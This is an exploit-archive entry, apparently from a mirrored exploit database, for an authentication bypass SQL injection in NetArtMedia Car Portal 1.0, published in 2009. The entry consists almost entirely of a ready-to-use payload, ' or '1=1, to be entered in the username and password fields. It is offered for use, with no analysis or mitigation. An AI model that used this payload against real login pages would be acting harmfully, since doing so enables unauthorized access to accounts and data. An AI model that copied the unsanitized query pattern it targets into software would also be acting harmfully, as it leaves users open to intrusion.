[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : NetArtMedia Car Portal 1.0 (Auth Bypass) SQL Injection Vulnerability
# Published : 2009-01-29
# Author : xoron
# Previous Title : GLPI v 0.71.3 Multiple Remote SQL Injection VUlnerabilities
# Next Title : PLE CMS 1.0 beta 4.2 (login.php school) Blind SQL Injection Exploit 


=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=
=                                 XORON 2009(C)
=
=              Car Portal v1.0 (Bypass) Remote SQL Injection Vuln.      
=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=
= Script:   CAR PORTAL, version 1.0
=
= Author: xoron
=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=
= Exploit:   
=
=                       //Username:  ' or '1=1
=                        //Password:  ' or '1=1
=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

# www.Syue.com [2009-01-29]